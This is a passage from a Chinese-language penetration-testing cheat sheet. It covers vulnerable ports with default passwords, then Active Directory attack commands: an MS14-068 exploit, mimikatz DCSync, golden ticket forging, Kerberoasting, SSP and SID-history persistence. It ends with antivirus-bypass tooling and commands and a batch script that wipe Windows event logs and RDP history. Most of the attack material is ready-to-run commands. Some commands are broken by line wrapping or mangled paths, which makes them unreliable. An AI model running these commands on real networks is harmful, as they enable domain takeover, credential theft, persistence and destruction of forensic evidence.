5432 PostgreSQL
50000 DB2
```

3、特殊服务类(未授权/命令执行类/漏洞)

```
443 SSL心脏滴血
```

```
445 ms08067/ms11058/ms17010等
873 Rsync未授权
5984 CouchDB http://xxx:5984/_utils/
6379 redis未授权
7001,7002 WebLogic默认弱口令，反序列
9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch
命令执行漏洞
11211 memcache未授权访问
27017,27018 Mongodb未授权访问
50000 SAP命令执行
50070,50030 hadoop默认端口未授权访问
```

4、常用端口类(扫描弱口令/端口爆破)

```
21 ftp
22 SSH
23 Telnet
445 SMB弱口令扫描
2601,2604 zebra路由，默认密码zebra
3389 远程桌面
```

5、端口合计所对应的服务

```
21 ftp
22 SSH
23 Telnet
25 SMTP
53 DNS
69 TFTP
```

```
80 web
80-89 web
110 POP3
135 RPC
139 NETBIOS
143 IMAP
161 SNMP
389 LDAP
443 SSL心脏滴血以及一些web漏洞测试
445 SMB
512,513,514 Rexec
873 Rsync未授权
1025,111 NFS
1080 socks
1158 ORACLE EMCTL2601,2604 zebra路由，默认密码zebra案
1433 MSSQL (暴力破解)
1521 Oracle:(iSqlPlus Port:5560,7778)
2082/2083 cpanel主机管理系统登陆 （国外用较多）
2222 DA虚拟主机管理系统登陆 （国外用较多）
2601,2604 zebra路由，默认密码zebra
3128 squid代理默认端口，如果没设置口令很可能就直接漫游内网了
3306 MySQL （暴力破解）
3312/3311 kangle主机管理系统登陆
3389 远程桌面
3690 svn
4440 rundeck 参考WooYun: 借用新浪某服务成功漫游新浪内网
4848 GlassFish web中间件 弱口令:admin/adminadmin
5432 PostgreSQL
```

5900 vnc

5984 CouchDB http://xxx:5984/_utils/

6082 varnish 参考WooYun: Varnish HTTP accelerator CLI 未授权访问易导致网站被直接篡改或者作为代理进入内网

6379 redis未授权

7001,7002 WebLogic默认弱口令，反序列

7778 Kloxo主机控制面板登录

8000-9090 都是一些常见的web端口，有些运维喜欢把管理后台开在这些非80的端口上

8080 tomcat/WDCd/ 主机管理系统，默认弱口令

8080,8089,9090 JBOSS

8081 Symantec AV/Filter for MSE

8083 Vestacp主机管理系统 （国外用较多）

8649 ganglia

8888 amh/LuManager 主机管理系统默认端口

9000 fcgi fcig php执行

9043 websphere[web中间件] 弱口令: admin/admin websphere/ web sphere ststem/manager

9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞

10000 Virtualmin/Webmin 服务器虚拟主机管理系统

11211 memcache未授权访问

27017,27018 Mongodb未授权访问

28017 mongodb统计页面

50000 SAP命令执行

50060 hadoop

50070,50030 hadoop默认端口未授权访问

域渗透

信息搜集

powerview.ps1

```
Get-NetDomain - gets the name of the current user's domain
Get-NetForest - gets the forest associated with the curren
t user's domain
Get-NetForestDomains - gets all domains for the current fo
rest
Get-NetDomainControllers - gets the domain controllers for
 the current computer's domain
Get-NetCurrentUser - gets the current [domain\]username
Get-NetUser - returns all user objects, or the user specif
ied (wildcard specifiable)
Get-NetUserSPNs - gets all user ServicePrincipalNames
Get-NetOUs - gets data for domain organization units
Get-NetGUIDOUs - finds domain OUs linked to a specific GUI
D
Invoke-NetUserAdd - adds a local or domain user
Get-NetGroups - gets a list of all current groups in the d
omain
Get-NetGroup - gets data for each user in a specified doma
in group
Get-NetLocalGroups - gets a list of localgroups on a remot
e host or hosts
Get-NetLocalGroup - gets the members of a localgroup on a
remote host or hosts
```

```
Get-NetLocalServices - gets a list of running services/pat
hs on a remote host or hosts
Invoke-NetGroupUserAdd - adds a user to a specified local
or domain group
Get-NetComputers - gets a list of all current servers in t
he domain
Get-NetFileServers - get a list of file servers used by cu
rrent domain users
Get-NetShare - gets share information for a specified serv
er
Get-NetLoggedon - gets users actively logged onto a specif
ied server
Get-NetSessions - gets active sessions on a specified serv
er
Get-NetFileSessions - returned combined Get-NetSessions an
d Get-NetFiles
Get-NetConnections - gets active connections to a specific
 server resource (share)
Get-NetFiles - gets open files on a server
Get-NetProcesses - gets the remote processes and owners on
 a remote server
```

BloodHound

获取域内**DNS**信息

- adidnsdump
- 域渗透——DNS记录的获取

获取域控的方法

SYSVOL

SYSVOL是指存储域公共文件服务器副本的共享文件夹，它们在域中所有的域控制器之间复制。 Sysvol文件夹是安装AD时创建的，它用来存放GPO、Script等信息。同时，存放在Sysvol文件夹中的信息，会复制到域中所有DC上。

相关阅读:

- 寻找SYSVOL里的密码和攻击GPP（组策略偏好）
- Windows Server 2008 R2之四管理Sysvol文件夹
- SYSVOL中查找密码并利用组策略首选项
- 利用SYSVOL还原组策略中保存的密码

MS14-068 Kerberos

```
python ms14-068.py -u 域用户@域名 -p 密码 -s 用户SID -d 域主机
```

利用mimikatz将工具得到的TGT_domainuser@SERVER.COM.ccache写入内存，创建缓存证书：

```
mimikatz.exe "kerberos::ptc c:TGT_darthsidious@pentest.com
.ccache" exit
net use k: \pentest.comc$
```

相关阅读：

- Kerberos的工具包PyKEK
- 深入解读MS14-068漏洞
- Kerberos的安全漏洞

SPN扫描

Kerberoast可以作为一个有效的方法从Active Directory中以普通用户的身份提取服务帐户凭据，无需向目标系统发送任何数据包。

SPN是服务在使用Kerberos身份验证的网络上的唯一标识符。它由服务类，主机名和端口组成。在使用Kerberos身份验证的网络中，必须在内置计算机帐户（如NetworkService或LocalSystem）或用户帐户下为服务器注册SPN。对于内部帐户，SPN将自动进行注册。但是，如果在域用户帐户下运行服务，则必须为要使用的帐户的手动注册SPN。

SPN扫描的主要好处是，SPN扫描不需要连接到网络上的每个IP来检查服务端口，SPN通过LDAP查询向域控执行服务发现，SPN查询是Kerberos的票据行为一部分，因此比较难检测SPN扫描。

相关阅读：

- 非扫描式的SQL Server发现
- SPN扫描
- 扫描SQLServer的脚本

Kerberos的黄金门票

在域上抓取的哈希

```
lsadump::dcsync /domain:pentest.com /user:krbtgt
```

```
kerberos::purge
kerberos::golden /admin:administrator /domain:域 /sid:SID /
krbtgt:hash值 /ticket:adinistrator.kiribi
kerberos::ptt administrator.kiribi
kerberos::tgt
```

```
net use k: \pnet use k: \pentest.comc$
```

相关阅读：

- https://adsecurity.org/?p=1640
- 域服务账号破解实践
- Kerberos的认证原理
- 深刻理解windows安全认证机制ntlm & Kerberos

Kerberos的银票务

黄金票据和白银票据的一些区别：

Golden Ticket：伪造`TGT`，可以获取`任何Kerberos`服务权限

银票：伪造TGS，`只能访问指定的服务`

加密方式不同：

Golden Ticket由`krbtgt`的hash加密

Silver Ticket由`服务账号`（通常为计算机账户）Hash加密

认证流程不同：

金票在使用的过程需要同域控通信

银票在使用的过程不需要同域控通信

相关阅读：

- 攻击者如何使用Kerberos的银票来利用系统
- 域渗透——Pass The Ticket

域服务账号破解

与上面SPN扫描类似的原理

https://github.com/nidem/kerberoast

获取所有用作SPN的帐户

```
setspn -T PENTEST.com -Q */*
```

从Mimikatz的RAM中提取获得的门票

```
kerberos::list /export
```

用rgsrepcrack破解

```
tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1
433-MYDOMAIN.LOCAL.kirbi
```

凭证盗窃

从搜集的密码里面找管理员的密码

NTLM relay

- One API call away from Domain Admin
- privexchange
- Exchange2domain

Kerberos委派

- Wagging-the-Dog.html
- s4u2pwnage
- Attacking Kerberos Delegation
- 用打印服务获取域控
- Computer Takeover
- Combining NTLM Relaying and Kerberos delegation

- CVE-2019-1040

地址解析协议

实在搞不定再搞ARP

获取AD哈希

- 使用VSS卷影副本
- Ntdsutil中获取NTDS.DIT文件
- PowerShell中提取NTDS.DIT -->Invoke-NinaCopy
- 使用Mimikatz提取

```
mimikatz lsadump::lsa /inject exit
```

- 使用PowerShell Mimikatz
- 使用Mimikatz的DCSync 远程转储Active Directory凭证

  提取 KRBTGT用户帐户的密码数据：

```
Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.ad
security.org /user：krbtgt"exit
```

管理员用户帐户提取密码数据：

```
Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.ad
security.org /user：Administrator" exit
```

- NTDS.dit中提取哈希

  使用esedbexport恢复以后使用ntdsxtract提取

AD持久化

活动目录持久性技巧

https://adsecurity.org/?p=1929

DS恢复模式密码维护

DSRM密码同步

> *Windows Server 2008 需要安装KB961320补丁才支持DSRM密码同步，Windows Server 2003不支持DSRM密码同步。*
> *KB961320:https://support.microsoft.com/en-us/help/961320/a-feature-is-available-for-windows-server-2008-that-lets-you-synchroni,可参考：巧用DSRM密码同步将域控权限持久化*

DCshadow

Security Support Provider

简单的理解为SSP就是一个DLL，用来实现身份认证

```
privilege::debug
misc::memssp
```

这样就不需要重启`c:/windows/system32`可看到新生成的文件kiwissp.log

SID History

SID历史记录允许另一个帐户的访问被有效地克隆到另一个帐户

```
mimikatz "privilege::debug" "misc::addsid bobafett ADSAdmi
nistrator"
```

AdminSDHolder & SDProp

利用AdminSDHolder & SDProp（重新）获取域管理权限

组策略

https://adsecurity.org/?p=2716

策略对象在持久化及横向渗透中的应用

Hook PasswordChangeNotify

http://www.vuln.cn/6812

Kerberoasting后门

域渗透-Kerberoasting

AdminSDHolder

Backdooring AdminSDHolder for Persistence

Delegation

Unconstrained Domain Persistence

TIPS

《域渗透——Dump Clear-Text Password after KB2871997 installed》

《域渗透——Hook PasswordChangeNotify》

> *可通过Hook PasswordChangeNotify实时记录域控管理员的新密码*

《域渗透——Local Administrator Password Solution》

> *域渗透时要记得留意域内主机的本地管理员账号*

《域渗透——利用SYSVOL还原组策略中保存的密码》

相关工具

BloodHound

CrackMapExec

DeathStar

> *利用过程：http://www.freebuf.com/sectool/160884.html*

在远程系统上执行程序

- At
- Psexec
- WMIC
- Wmiexec
- Smbexec
- Powershell remoting
- DCOM

IOT相关

- 1、路由器 routersploit
- 2、打印机 PRET
- 3、IOT exp https://www.exploitee.rs/
- 4、相关

  OWASP-Nettacker

  isf

  icsmaster

中间人

- Cain
- Ettercap
- Responder
- MITMf
- 3r/MITMf)

规避杀软及检测

Bypass Applocker

UltimateAppLockerByPassList

https://lolbas-project.github.io/

bypassAV

- Empire
- PEspin
- Shellter
- Ebowla

- Veil
- PowerShell
- Python
- 代码注入技术Process Doppelgänging
- ...

痕迹清理

Windows日志清除

获取日志分类列表：

```
wevtutil el >1.txt
```

获取单个日志类别的统计信息：

eg.

```
wevtutil gli "windows powershell"
```

回显：

```
creationTime: 2016-11-28T06:01:37.986Z
lastAccessTime: 2016-11-28T06:01:37.986Z
lastWriteTime: 2017-08-08T08:01:20.979Z
fileSize: 1118208
attributes: 32
numberOfLogRecords: 1228
```

```
oldestRecordNumber: 1
```

查看指定日志的具体内容：

```
wevtutil qe /f:text "windows powershell"
```

删除单个日志类别的所有信息：

```
wevtutil cl "windows powershell"
```

破坏Windows日志记录功能

利用工具

- Invoke-Phant0m
- Windwos-EventLog-Bypass

msf

```
run clearlogs
```

```
clearev
```

3389登陆记录清除

```
@echo off
```

```
@reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal
 Server Client\Default" /va /f
@del "%USERPROFILE%\My Documents\Default.rdp" /a
@exit
```